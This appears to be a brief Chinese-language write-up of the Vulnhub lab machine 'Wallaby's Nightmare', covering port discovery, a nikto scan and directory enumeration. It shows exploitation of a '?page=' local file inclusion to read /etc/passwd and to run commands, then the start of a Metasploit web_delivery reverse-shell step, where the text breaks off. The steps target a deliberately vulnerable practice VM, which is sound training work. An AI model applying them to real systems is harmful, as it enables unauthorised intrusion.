靶机地址:https://www.vulnhub.com/entry/wallabys-nightmare-v102,176/
开机界面就是这样
还是 采用的桥接模式
确定靶机的IP地址:192.168.1.10
靶机开放了22、80端口
直接访问
随意输入一个用户名
看这个参数 /?page=
之前总结过
直接/etc/passwd
上nikto扫扫
被拒绝了请求
我淦 重新扫描一下
发现80端口关闭了。。。
但是60080端口开启了http服务
继续扫目录
有很多的目录
一个一个看一下
F12 源代码 康康
这里本地文件包含漏洞(LFI)可以执行命令
直接上msf反弹shell
msf > use exploit/multi/script/web_delivery
msf exploit